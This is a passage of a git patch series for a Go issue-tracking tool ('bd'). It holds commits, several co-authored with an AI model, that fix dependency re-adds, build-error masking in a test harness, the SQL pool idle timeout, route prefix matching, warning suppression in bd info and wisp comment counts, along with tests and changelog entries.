the assertion that pins the actual harm: edge metadata blanked to {} by the same-type re-add. Assert metadata first, with t.Errorf, so a single run observes both properties. Verified by grafting base engine.go under this test file: it now fails on the metadata line and the spy line, where before only the spy line printed. The `len(depRecords) != 2` assertion cannot catch the re-add -- rows are keyed by a deterministic depid, so the count is 2 with or without the skip (the graft confirms it stays silent on base). Keep it for what it does cover, the skip neither dropping the pre-existing edge nor double-writing the new one, and re-point its comment at that. Also require the pre-existing row to be present, so the metadata loop cannot pass vacuously when the row is absent. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- internal/tracker/engine.go | 3 ++ internal/tracker/engine_test.go | 71 +++++++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+) diff --git a/internal/tracker/engine.go b/internal/tracker/engine.go index 9f8fc87e2..8a367a0e7 100644 --- a/internal/tracker/engine.go +++ b/internal/tracker/engine.go @@ -1357,6 +1357,9 @@ func (e *Engine) createDependencies(ctx context.Context, deps []DependencyInfo) if fromIssue == nil || toIssue == nil { continue // Not found (no error) — expected if issue wasn't imported } + if dependencyExists(ctx, e.Store, fromIssue.ID, toIssue.ID, types.DependencyType(dep.Type)) { + continue + } d := &types.Dependency{ IssueID: fromIssue.ID, diff --git a/internal/tracker/engine_test.go b/internal/tracker/engine_test.go index 7b62f9679..bdd97e917 100644 --- a/internal/tracker/engine_test.go +++ b/internal/tracker/engine_test.go @@ -2417,6 +2417,77 @@ func TestEngineCreateDependenciesResolvesSyntheticExternalRef(t *testing.T) { } } +type addDependencyCountingStore struct { + Store + added []types.Dependency +} + +func (s *addDependencyCountingStore) AddDependency(ctx context.Context, dep *types.Dependency, actor string) error { + s.added = append(s.added, *dep) + return s.Store.AddDependency(ctx, dep, actor) +} + +func TestEngineCreateDependenciesSkipsExistingEdges(t *testing.T) { + ctx := context.Background() + store := newTestStore(t) + defer store.Close() + + for _, n := range []string{"1", "2", "3"} { + issue := &types.Issue{ID: "bd-edge-" + n, Title: "Issue " + n, Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2} + if err := store.CreateIssue(ctx, issue, "test-actor"); err != nil { + t.Fatalf("CreateIssue error: %v", err) + } + if err := store.UpdateIssue(ctx, issue.ID, map[string]interface{}{"external_ref": "https://test.test/EXT-" + n}, "test-actor"); err != nil { + t.Fatalf("UpdateIssue external_ref: %v", err) + } + } + existing := &types.Dependency{IssueID: "bd-edge-1", DependsOnID: "bd-edge-2", Type: types.DepBlocks, Metadata: `{"note":"kept"}`} + if err := store.AddDependency(ctx, existing, "test-actor"); err != nil { + t.Fatalf("AddDependency error: %v", err) + } + + counting := &addDependencyCountingStore{Store: NewStore(store)} + engine := NewEngine(newMockTracker("test"), counting, "test-actor") + + errCount := engine.createDependencies(ctx, []DependencyInfo{ + {FromExternalID: "EXT-1", ToExternalID: "EXT-2", Type: string(types.DepBlocks)}, + {FromExternalID: "EXT-1", ToExternalID: "EXT-3", Type: string(types.DepRelated)}, + }) + if errCount != 0 { + t.Fatalf("createDependencies returned errCount=%d, warnings=%v", errCount, engine.warnings) + } + + depRecords, err := store.GetDependencyRecords(ctx, "bd-edge-1") + if err != nil { + t.Fatalf("GetDependencyRecords error: %v", err) + } + // Metadata survival is the defect this guards: a same-type re-add takes the + // idempotent branch, which rewrites metadata to the incoming (empty) value. + // Assert it before the spy count, and with Errorf, so one run observes both. + foundExisting := false + for _, dep := range depRecords { + if dep.DependsOnID != "bd-edge-2" { + continue + } + foundExisting = true + if dep.Metadata != existing.Metadata { + t.Errorf("existing edge metadata = %q, want %q", dep.Metadata, existing.Metadata) + } + } + if !foundExisting { + t.Errorf("pre-existing edge bd-edge-1 -> bd-edge-2 missing from %+v", depRecords) + } + // Rows are keyed by a deterministic id, so this count is 2 with or without + // the skip; it guards against the skip dropping the pre-existing edge or + // double-writing bd-edge-3, not against the re-add itself. + if len(depRecords) != 2 { + t.Errorf("dependency records = %+v, want the 2 distinct edges", depRecords) + } + if len(counting.added) != 1 || counting.added[0].DependsOnID != "bd-edge-3" { + t.Errorf("AddDependency calls = %+v, want only bd-edge-1 -> bd-edge-3", counting.added) + } +} + func TestEnginePullCreatesDependenciesForUnchangedIssues(t *testing.T) { ctx := context.Background() store := newTestStore(t) From 8d6671b73a563d6c44718074a4c8b76a874c90a0 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 04:58:23 -0700 Subject: [PATCH 086/624] fix(testutil): stop masking build failures as a misleading chmod ENOENT error (#6715) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(integration): red — Fix: SubprocessRunner.Build masks every build failure as a chmod ENOENT (refs be-4ecr4) * feat(integration): green — Fix: SubprocessRunner.Build masks every build failure as a chmod ENOENT (refs be-4ecr4) * fix(integration): stop orphaning the harness test's temp dir, pin the stdout half Maintainer review fixups for PR #6715 (be-4ecr4), both minor: - TestBuildErrorIsMaskedByChmod passes a synthetic *testing.T to Build, which the framework never finalizes, so the Cleanup that its t.TempDir() registers never ran and every execution orphaned a directory under $TMPDIR (measured: one new /tmp entry per run). Remove the mkdtemp parent from the real t — TempDir hands back /001, so deleting the binary's own directory would leave the parent behind — guarded to a proper descendant of $TMPDIR so a future layout change skips rather than deletes something we did not create. - The PR makes two changes but pinned only one. Removing build.Stdout left all three assertions satisfied, so the stdout capture could silently regress. Assert on "[setup failed]", which `go test -c` demonstrably emits on stdout in this scenario; the "stdout:" label would be a vacuous pin because it lives in the format string and survives an unattached buffer. Verified by counterfactual: dropping the wiring now reddens the test, and dropping the early return still reddens it for the original masking reason. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- internal/testutil/integration/harness.go | 6 +- internal/testutil/integration/harness_test.go | 67 +++++++++++++++++++ 2 files changed, 71 insertions(+), 2 deletions(-) create mode 100644 internal/testutil/integration/harness_test.go diff --git a/internal/testutil/integration/harness.go b/internal/testutil/integration/harness.go index 43896a104..244bb6cd1 100644 --- a/internal/testutil/integration/harness.go +++ b/internal/testutil/integration/harness.go @@ -129,10 +129,12 @@ func (r *SubprocessRunner) Build(t *testing.T) string { ) build.Dir = r.modRoot build.Env = append(os.Environ(), "CGO_ENABLED=1") - var stderr bytes.Buffer + var stdout, stderr bytes.Buffer + build.Stdout = &stdout build.Stderr = &stderr if err := build.Run(); err != nil { - r.buildErr = fmt.Errorf("failed to build test binary: %w\nstderr: %s", err, stderr.String()) + r.buildErr = fmt.Errorf("failed to build test binary: %w\nstderr: %s\nstdout: %s", err, stderr.String(), stdout.String()) + return } if err := os.Chmod(r.testBin, 0700); err != nil { r.buildErr = fmt.Errorf("failed to chmod test binary: %w", err) diff --git a/internal/testutil/integration/harness_test.go b/internal/testutil/integration/harness_test.go new file mode 100644 index 000000000..93f313c68 --- /dev/null +++ b/internal/testutil/integration/harness_test.go @@ -0,0 +1,67 @@ +//go:build integration && !windows + +package integration + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// TestBuildErrorIsMaskedByChmod guards against SubprocessRunner.Build's +// unconditional os.Chmod overwriting a real build failure with a spurious +// ENOENT, discarding the compiler diagnostics captured in stderr (be-4ecr4). +func TestBuildErrorIsMaskedByChmod(t *testing.T) { + r := NewSubprocessRunner(".", "./this-package-does-not-exist/") + done := make(chan struct{}) + go func() { + defer close(done) // Build's t.Fatalf calls Goexit; the deferred close still runs. + // Build reports failure through t.Fatalf, so a real *testing.T would abort + // the assertions below instead of letting them inspect r.buildErr. + r.Build(&testing.T{}) + }() + <-done // Publishes r.buildErr and r.testBin to this goroutine. + + // The synthetic T is never finalized by the framework, so the Cleanup that + // its t.TempDir() registered never runs. Remove the directory from the real + // t instead: TempDir hands back /001, so deleting only the + // binary's own directory would still orphan the parent under $TMPDIR. + t.Cleanup(func() { + if r.testBin == "" { + return + } + tmpRoot := filepath.Clean(os.TempDir()) + parent := filepath.Dir(filepath.Dir(r.testBin)) + // Only ever remove a proper descendant of $TMPDIR; if the zero-value + // TempDir layout this walks up from ever changes, skip rather than + // delete something we did not create. + if !strings.HasPrefix(parent, tmpRoot+string(filepath.Separator)) { + t.Logf("skipping cleanup of unexpected temp path: %s", parent) + return + } + if err := os.RemoveAll(parent); err != nil { + t.Logf("failed to remove leaked temp dir %s: %v", parent, err) + } + }) + + if r.buildErr == nil { + t.Fatalf("expected a build error, got nil") + } + got := r.buildErr.Error() + t.Logf("reported error: %s", got) + if !strings.Contains(got, "failed to build test binary") { + t.Errorf("build error does not contain %q: %s", "failed to build test binary", got) + } + if strings.Contains(got, "chmod") { + t.Errorf("build error still mentions chmod — real build failure was masked: %s", got) + } + // `go test -c` splits this failure across both channels: the compiler detail + // goes to stderr, the package verdict to stdout. Pin the stdout half so + // build.Stdout cannot be unwired without reddening a test. Asserting on the + // "stdout:" label instead would be vacuous — it lives in the format string + // and survives even when the buffer is never attached. + if !strings.Contains(got, "[setup failed]") { + t.Errorf("build error dropped stdout diagnostics: %s", got) + } +} From 2bc7f8de609f0378ad91de58049d78ec6dc2263c Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Sat, 26 Sep 2026 05:23:11 -0700 Subject: [PATCH 087/624] fix(serve): retire idle SQL connections before Dolt (#6741) * fix(serve): retire idle SQL connections before Dolt * ci: retrigger macOS checks * fix(serve): refresh the sibling comments the 20s pool idle cap falsified Maintainer review fixup for #6741. The review found no blocker and no major; this is its one gate-impact minor (Architectural Consistency / Change Impact). Comment-only, no behavior change. Lowering servePoolLimits.ConnMaxIdleTime from 5m to 20s falsified the "ConnMaxIdleTime (5m)" figure at the two sibling sites that reason about the pool-drain/proxy-lifetime interaction. Both designs those comments defend get STRONGER at 20s, so the decisions stand and only the figures were wrong -- with one exception: - cmd/bd/uow_factory.go is the load-bearing justification for proxyIdle: proxy.IdleTimeoutNever. A pool that drops its last connection at 20s reaches zero clients well inside the proxy's 30s default, so the argument holds harder than before; the figure now reads "ConnMaxIdleTime (20s, servePoolLimits)". - cmd/bd/serve_server_mode_integration_test.go was worse than a stale number: it justified asserting on the spawned child's command line *because* the failure "is otherwise only visible after five idle minutes, which no test can wait for". At 20s that premise is false, so the comment argued against a test that had become feasible. The command-line assertion stays -- observing the failure directly still has to idle out the pool and then the proxy's own 30s default, about a minute of dead time gated on two independent timers -- but the stated reason is now one that survives the new constant. Validation: gofmt clean on both files; git diff --check clean; go vet ./cmd/bd/ with CGO_ENABLED=1, which type-checks the //go:build cgo integration test file that holds the second comment. Co-authored-by: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/serve_server_mode_integration_test.go | 14 +++++++++----- cmd/bd/uow_factory.go | 13 +++++++------ internal/httpapi/server.go | 9 ++++++--- internal/httpapi/server_test.go | 4 ++++ 4 files changed, 26 insertions(+), 14 deletions(-) diff --git a/cmd/bd/serve_server_mode_integration_test.go b/cmd/bd/serve_server_mode_integration_test.go index ee191baaa..78a5522e8 100644 --- a/cmd/bd/serve_server_mode_integration_test.go +++ b/cmd/bd/serve_server_mode_integration_test.go @@ -170,12 +170,16 @@ func TestServerModeServe(t *testing.T) { // The proxy serve fronts the server through must survive every quiet period // the process can have. Its only client is serve's pool, which drops its last - // connection after ConnMaxIdleTime (5m) of no requests; a proxy with a finite - // idle timeout then exits and takes the OS-assigned port the provider's DSN - // pinned at construction, permanently, with /healthz still green. + // connection after ConnMaxIdleTime (20s, servePoolLimits) of no requests; a + // proxy with a finite idle timeout then exits and takes the OS-assigned port + // the provider's DSN pinned at construction, permanently, with /healthz still + // green. // - // Asserted on the spawned child's own command line because the failure is - // otherwise only visible after five idle minutes, which no test can wait for. + // Asserted on the spawned child's own command line because observing the + // failure directly means idling out serve's pool and then the proxy's own + // idle timeout (20s + the 30s default) before a request can fail — a minute + // of enforced dead time gated on two independent timers, which is neither + // cheap nor reliable enough for a test. assertProxyChildNeverIdles(t, filepath.Join(p.beadsDir, "dolt")) sp.shutdown(t) diff --git a/cmd/bd/uow_factory.go b/cmd/bd/uow_factory.go index 40a9ce3b2..9facce662 100644 --- a/cmd/bd/uow_factory.go +++ b/cmd/bd/uow_factory.go @@ -422,12 +422,13 @@ func resolveServerModeUOWTopologyWithTransportResolver(ctx context.Context, bead // // The 30s default cannot work here. The only client this proxy will // ever have is bd serve, whose pool releases its last connection after - // ConnMaxIdleTime (5m) of no requests; a finite-idle proxy then sees - // zero clients and exits, taking with it the OS-assigned port the - // provider's DSN pinned at construction. Nothing re-resolves that - // endpoint — GetCreateDatabaseProxyServerEndpoint runs once, above — so - // serve would go on answering /healthz with no database left to answer - // anything else from, unrecoverable without a restart. + // ConnMaxIdleTime (20s, servePoolLimits) of no requests; a finite-idle + // proxy then sees zero clients and exits, taking with it the + // OS-assigned port the provider's DSN pinned at construction. Nothing + // re-resolves that endpoint — GetCreateDatabaseProxyServerEndpoint runs + // once, above — so serve would go on answering /healthz with no + // database left to answer anything else from, unrecoverable without a + // restart. // // The tradeoff is a child that outlives serve, and it is deliberate: a // never-idle proxy is already a supported configuration diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index f4b53889a..b07fcd920 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -80,9 +80,12 @@ const ( // pinned connection), and any semaphore-exempt handler that later touches the // database all escape it. var servePoolLimits = uow.PoolLimits{ - MaxOpenConns: maxInflight + 4, - MaxIdleConns: maxInflight, - ConnMaxIdleTime: 5 * time.Minute, + MaxOpenConns: maxInflight + 4, + MaxIdleConns: maxInflight, + // Keep this below Dolt's supported 30s wait_timeout configuration. A + // longer server-specific override defeats the storage layer's stale-pool + // protection and lets the next request receive a server-reaped connection. + ConnMaxIdleTime: 20 * time.Second, ConnMaxLifetime: time.Hour, } diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index a4dc5c032..4b8576f37 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -1233,6 +1233,10 @@ func TestStartupLines(t *testing.T) { if provider.limits.ConnMaxIdleTime <= 0 || provider.limits.ConnMaxLifetime <= 0 { t.Errorf("idle/lifetime caps unset: %+v", provider.limits) } + if provider.limits.ConnMaxIdleTime != 20*time.Second { + t.Errorf("ConnMaxIdleTime = %s, want 20s below Dolt's supported 30s wait_timeout", + provider.limits.ConnMaxIdleTime) + } } // TestPoolLimitsUnavailableIsAnnounced: running unbounded is a decision, so it From 6c5f1b29544a76a3df57da5ad91f9ee2d46a9a72 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 05:24:35 -0700 Subject: [PATCH 088/624] fix(routing): match routes.jsonl prefixes by longest leading match (#5048) (#6711) Root cause: resolveViaPrefixRoutingWithAccess derived the bead prefix with extractBeadPrefix, which cut the ID at its first "-", then required an exact match against each route's prefix. A route whose prefix contains an interior hyphen (e.g. "claude-os-") could therefore never match its own IDs ("claude-os-76l" extracted as "claude-"), so the lookup silently fell through to the local store's "not found" with no [routing] line. Fix: replace extractBeadPrefix with matchPrefixRoute, which selects the route whose prefix (ending in "-") is the longest leading match for the ID. Routes with single-hyphen prefixes resolve exactly as before, and route prefixes without a trailing "-" still never match, as under the old extraction. This is the only routes.jsonl resolver in the repo (internal/routing is role-based repo routing and does not read routes.jsonl). Precedence change: when both "hq-" and "hq-cv-" routes are configured, "hq-cv-*" IDs now take the "hq-cv-" route instead of "hq-". Previously the "hq-cv-" entry was dead config. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-authored-by: Claude Opus 5.5 (1M context) --- CHANGELOG.md | 9 +++++++++ cmd/bd/routed.go | 42 ++++++++++++++++++++---------------------- cmd/bd/routed_test.go | 43 +++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 72 insertions(+), 22 deletions(-) create mode 100644 cmd/bd/routed_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 4fa31bb90..c2ed0c8ed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -269,6 +269,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`routes.jsonl` prefixes containing a hyphen now route** + ([#5048](https://github.com/gastownhall/beads/issues/5048)). Prefix routing + cut the bead ID at its first `-` and required an exact match, so a route + such as `claude-os-` could never match `claude-os-76l` and the lookup fell + through to "not found". Routing now picks the longest route prefix the ID + starts with. Single-hyphen routes behave as before; where both `hq-` and + `hq-cv-` are configured, `hq-cv-*` IDs now take the `hq-cv-` route instead + of `hq-`. + - **A dotted config key now round-trips: what `bd config set` writes, `bd config get` and bd's own readers find** ([#6574](https://github.com/gastownhall/beads/pull/6574), diff --git a/cmd/bd/routed.go b/cmd/bd/routed.go index 574cafe97..af08bfa19 100644 --- a/cmd/bd/routed.go +++ b/cmd/bd/routed.go @@ -160,9 +160,7 @@ func resolveViaPrefixRouting(ctx context.Context, id string) (*RoutedResult, err // the command inside that rig; false keeps the read-only open that guarantees a // routed read cannot mutate the target (bd-6dnrw.32). func resolveViaPrefixRoutingWithAccess(ctx context.Context, id string, writable bool) (*RoutedResult, error) { - // Extract prefix from the bead ID (e.g., "hr-" from "hr-8wn.1") - prefix := extractBeadPrefix(id) - if prefix == "" { + if strings.Index(id, "-") <= 0 { return nil, fmt.Errorf("no prefix in ID %q", id) } @@ -178,17 +176,12 @@ func resolveViaPrefixRoutingWithAccess(ctx context.Context, id string, writable return nil, fmt.Errorf("no routes available") } - // Find matching route for this prefix - var matchedRoute *prefixRoute - for i, r := range routes { - if r.Prefix == prefix { - matchedRoute = &routes[i] - break - } - } + // Find the most specific route for this ID + matchedRoute := matchPrefixRoute(routes, id) if matchedRoute == nil { - return nil, fmt.Errorf("no route for prefix %q", prefix) + return nil, fmt.Errorf("no route for ID %q", id) } + prefix := matchedRoute.Prefix // Skip if the route points to current directory (town-level, already checked) if matchedRoute.Path == "." { @@ -246,17 +239,22 @@ func resolveViaPrefixRoutingWithAccess(ctx context.Context, id string, writable return result, nil } -// extractBeadPrefix extracts the prefix from a bead ID. -// For example, "hr-8wn.1" returns "hr-", "hq-cv-abc" returns "hq-". -func extractBeadPrefix(beadID string) string { - if beadID == "" { - return "" +// matchPrefixRoute returns the route whose prefix is the longest leading match +// for beadID, or nil if none matches. Route prefixes end in "-", so a +// multi-hyphen prefix such as "claude-os-" matches "claude-os-76l", and with +// both "hq-" and "hq-cv-" configured, "hq-cv-abc" takes the "hq-cv-" route +// (GH#5048). +func matchPrefixRoute(routes []prefixRoute, beadID string) *prefixRoute { + var best *prefixRoute + for i, r := range routes { + if !strings.HasSuffix(r.Prefix, "-") || !strings.HasPrefix(beadID, r.Prefix) { + continue + } + if best == nil || len(r.Prefix) > len(best.Prefix) { + best = &routes[i] + } } - idx := strings.Index(beadID, "-") - if idx <= 0 { - return "" - } - return beadID[:idx+1] + return best } // loadPrefixRoutes loads prefix-to-path routes from routes.jsonl in the beads directory. diff --git a/cmd/bd/routed_test.go b/cmd/bd/routed_test.go new file mode 100644 index 000000000..828bb04d4 --- /dev/null +++ b/cmd/bd/routed_test.go @@ -0,0 +1,43 @@ +package main + +import "testing" + +// TestMatchPrefixRoute pins longest-prefix route selection: multi-hyphen +// route prefixes must match their IDs instead of being shadowed by a +// first-dash cut (GH#5048). +func TestMatchPrefixRoute(t *testing.T) { + routes := []prefixRoute{ + {Prefix: "claude-os-", Path: "rigA"}, + {Prefix: "solo-", Path: "rigB"}, + {Prefix: "hq-", Path: "hq"}, + {Prefix: "hq-cv-", Path: "convoys"}, + {Prefix: "nodash", Path: "bogus"}, + } + tests := []struct { + id string + want string // matched route path; "" means no match + }{ + {"claude-os-sar", "rigA"}, + {"claude-os-76l.1", "rigA"}, + {"solo-x", "rigB"}, + {"hq-abc", "hq"}, + {"hq-cv-abc", "convoys"}, + {"claude-abc", ""}, + {"other-abc", ""}, + {"nodash-abc", ""}, + {"solo", ""}, + {"", ""}, + } + for _, tt := range tests { + t.Run(tt.id, func(t *testing.T) { + got := matchPrefixRoute(routes, tt.id) + gotPath := "" + if got != nil { + gotPath = got.Path + } + if gotPath != tt.want { + t.Errorf("matchPrefixRoute(%q) = %q, want %q", tt.id, gotPath, tt.want) + } + }) + } +} From 39b9ee1d81626903c1d0889c0fb9f3bf04bc7b10 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 05:44:48 -0700 Subject: [PATCH 089/624] fix(info): honor doctor.suppress.git-hooks in bd info (#6027) (#6710) Root cause: renderInfo called CheckGitHooks()/FormatHookWarnings() unconditionally, so setting doctor.suppress.git-hooks=true silenced the check in bd doctor but bd info kept printing "Git hooks not installed". Fix: split the config-map half of the doctor suppress reader out as doctor.SuppressedChecksFromConfig (the store-backed helper now delegates to it, same semantics), and have both bd info paths (direct and proxied-server) feed it the config map they already load. renderInfo skips the hook warning when the git-hooks slug is suppressed. bd info --json never carried the warning and is unchanged. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-authored-by: Claude Opus 5.5 (1M context) --- CHANGELOG.md | 8 ++++++++ cmd/bd/doctor/suppress.go | 13 ++++++++++--- cmd/bd/info.go | 17 ++++++++++++----- cmd/bd/info_embedded_test.go | 29 +++++++++++++++++++++++++++++ cmd/bd/info_proxied_server.go | 7 ++++++- 5 files changed, 65 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c2ed0c8ed..25d9d1e42 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -133,6 +133,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 its backend's lifecycle — it starts on demand and `bd dolt stop` shuts it down. Direct-server and embedded workspaces are unaffected. +- **`bd info` honors `doctor.suppress.git-hooks`** + ([#6027](https://github.com/gastownhall/beads/issues/6027)). `bd info` + printed the "Git hooks not installed" / "outdated" warning unconditionally, + so suppressing the check for `bd doctor` left it nagging on every `bd info`. + It now reads the same `doctor.suppress.*` config through the doctor helper + and skips the warning when `git-hooks` is suppressed. `bd info --json` never + carried the warning and is unchanged. + - **`bd dolt status` tells the truth on a proxied workspace.** It read the classic PID file, which proxied mode never writes, and so reported `Dolt server: not running` while the proxy was serving CRUD — the wrong answer diff --git a/cmd/bd/doctor/suppress.go b/cmd/bd/doctor/suppress.go index 83083d7cb..60a52217c 100644 --- a/cmd/bd/doctor/suppress.go +++ b/cmd/bd/doctor/suppress.go @@ -45,14 +45,21 @@ func GetSuppressedChecksWithStore(ss *SharedStore) map[string]bool { } func getSuppressedChecksFromStore(store *dolt.DoltStore) map[string]bool { - suppressed := make(map[string]bool) - ctx := context.Background() allConfig, err := store.GetAllConfig(ctx) if err != nil { - return suppressed + return make(map[string]bool) } + return SuppressedChecksFromConfig(allConfig) +} + +// SuppressedChecksFromConfig extracts the suppressed check slugs from an +// already-loaded config map, for callers outside bd doctor that hold their +// own store (e.g. bd info, GH#6027). +func SuppressedChecksFromConfig(allConfig map[string]string) map[string]bool { + suppressed := make(map[string]bool) + for key, value := range allConfig { if strings.HasPrefix(key, SuppressConfigPrefix) && strings.ToLower(value) == "true" { slug := key[len(SuppressConfigPrefix):] diff --git a/cmd/bd/info.go b/cmd/bd/info.go index e8fee1860..daf9d21c6 100644 --- a/cmd/bd/info.go +++ b/cmd/bd/info.go @@ -6,6 +6,7 @@ import ( "strings" "github.com/spf13/cobra" + "github.com/steveyegge/beads/cmd/bd/doctor" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/workapi" @@ -64,6 +65,8 @@ Examples: "mode": "direct", } + suppressHookWarning := false + if store != nil { ctx := rootCtx @@ -86,6 +89,8 @@ Examples: if filtered := workapi.FilterSettingsEnumeration(configMap); len(filtered) > 0 { info["config"] = filtered } + // GH#6027: honor the same doctor.suppress.git-hooks bd doctor does. + suppressHookWarning = doctor.SuppressedChecksFromConfig(configMap)[doctor.CheckNameToSlug("Git Hooks")] } if schemaFlag { @@ -98,7 +103,7 @@ Examples: } } - return renderInfo(info, schemaFlag, absDBPath) + return renderInfo(info, schemaFlag, absDBPath, suppressHookWarning) }, } @@ -140,7 +145,7 @@ func buildInfoSchema(schemaVersion, prefix string, issues []*types.Issue) map[st } } -func renderInfo(info map[string]interface{}, schemaFlag bool, absDBPath string) error { +func renderInfo(info map[string]interface{}, schemaFlag bool, absDBPath string, suppressHookWarning bool) error { if jsonOutput { return outputJSON(info) } @@ -172,9 +177,11 @@ func renderInfo(info map[string]interface{}, schemaFlag bool, absDBPath string) } } - hookStatuses := CheckGitHooks() - if warning := FormatHookWarnings(hookStatuses); warning != "" { - fmt.Printf("\n%s\n", warning) + if !suppressHookWarning { + hookStatuses := CheckGitHooks() + if warning := FormatHookWarnings(hookStatuses); warning != "" { + fmt.Printf("\n%s\n", warning) + } } fmt.Println() diff --git a/cmd/bd/info_embedded_test.go b/cmd/bd/info_embedded_test.go index c91d6207b..029e7a888 100644 --- a/cmd/bd/info_embedded_test.go +++ b/cmd/bd/info_embedded_test.go @@ -141,6 +141,35 @@ func TestEmbeddedInfo(t *testing.T) { }) } +// TestEmbeddedInfoSuppressGitHooks pins GH#6027: bd info must honor +// doctor.suppress.git-hooks the same way bd doctor does, instead of printing +// the missing-hooks warning unconditionally. +func TestEmbeddedInfoSuppressGitHooks(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "ih") + bdRunOK(t, bd, dir, "hooks", "uninstall") + + const hookWarning = "Git hooks not installed" + if out := bdInfo(t, bd, dir); !strings.Contains(out, hookWarning) { + t.Fatalf("precondition: expected %q with hooks uninstalled:\n%s", hookWarning, out) + } + + bdConfig(t, bd, dir, "set", "doctor.suppress.git-hooks", "true") + if out := bdInfo(t, bd, dir); strings.Contains(out, hookWarning) { + t.Errorf("doctor.suppress.git-hooks=true should hide %q:\n%s", hookWarning, out) + } + + bdConfig(t, bd, dir, "set", "doctor.suppress.git-hooks", "false") + if out := bdInfo(t, bd, dir); !strings.Contains(out, hookWarning) { + t.Errorf("doctor.suppress.git-hooks=false should keep %q:\n%s", hookWarning, out) + } +} + // TestEmbeddedInfoConcurrent exercises info operations concurrently. func TestEmbeddedInfoConcurrent(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { diff --git a/cmd/bd/info_proxied_server.go b/cmd/bd/info_proxied_server.go index 01ce2fee8..a53a4e894 100644 --- a/cmd/bd/info_proxied_server.go +++ b/cmd/bd/info_proxied_server.go @@ -3,6 +3,7 @@ package main import ( "context" + "github.com/steveyegge/beads/cmd/bd/doctor" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/workapi" ) @@ -21,6 +22,8 @@ func runInfoProxiedServer(ctx context.Context, schemaFlag bool) error { "mode": "proxied-server", } + suppressHookWarning := false + page, err := uw.IssueUseCase().SearchIssues(ctx, "", types.IssueFilter{}) var issues []*types.Issue if err == nil { @@ -42,6 +45,8 @@ func runInfoProxiedServer(ctx context.Context, schemaFlag bool) error { if filtered := workapi.FilterSettingsEnumeration(configMap); len(filtered) > 0 { info["config"] = filtered } + // GH#6027: honor the same doctor.suppress.git-hooks bd doctor does. + suppressHookWarning = doctor.SuppressedChecksFromConfig(configMap)[doctor.CheckNameToSlug("Git Hooks")] } if schemaFlag { @@ -53,5 +58,5 @@ func runInfoProxiedServer(ctx context.Context, schemaFlag bool) error { info["schema"] = buildInfoSchema(schemaVersion, prefix, issues) } - return renderInfo(info, schemaFlag, absDBPath) + return renderInfo(info, schemaFlag, absDBPath, suppressHookWarning) } From 0eb46872c7c11b080f31b78492739dcce379e956 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 05:49:51 -0700 Subject: [PATCH 090/624] fix(storage): count a wisp's comments in wisp_comments (#5565) (#6709) bd show on the direct/embedded path reported comment_count 0 for a wisp that had comments. CountIssueComments in both the server-mode (dolt) and embedded (embeddeddolt) stores hard-coded `FROM comments`, while GetIssueComments routes an active wisp to `wisp_comments`. The workapi store adapter relies on the store to self-route (it ignores isWisp for every read), so the count and the rows it summarizes disagreed, and comments_omitted was never set. The domain/UOW path already dispatched CountCommentsForWisp correctly, as did the proxied SQL mega-query. CountIssueComments now picks the table with issueops.IsActiveWispInTx inside the same transaction, mirroring GetIssueCommentsInTx. The audit conformance case that pinned the asymmetry (want 0) is flipped to assert parity with GetIssueComments, and an embedded bd show --json regression test mirrors the proxied show_wisp_comments_default_count_only case. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-authored-by: Claude Opus 5.5 (1M context) --- CHANGELOG.md | 8 ++++++++ .../audit_labels-comments-events.go | 17 ++++++++-------- cmd/bd/show_embedded_test.go | 20 +++++++++++++++++++ internal/storage/dolt/counts.go | 10 +++++++++- internal/storage/embeddeddolt/counts.go | 10 +++++++++- 5 files changed, 55 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 25d9d1e42..e7d01278f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -121,6 +121,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd show` counts a wisp's comments instead of reporting `comment_count: 0`** + ([#5565](https://github.com/gastownhall/beads/issues/5565)). On the + direct/embedded path, `CountIssueComments` always queried the permanent + `comments` table, while `GetIssueComments` routes an active wisp to + `wisp_comments`, so `--include-comments` returned rows the count said did + not exist and `comments_omitted` was never set. The count now routes by wisp + status the same way, matching proxied-server mode. + 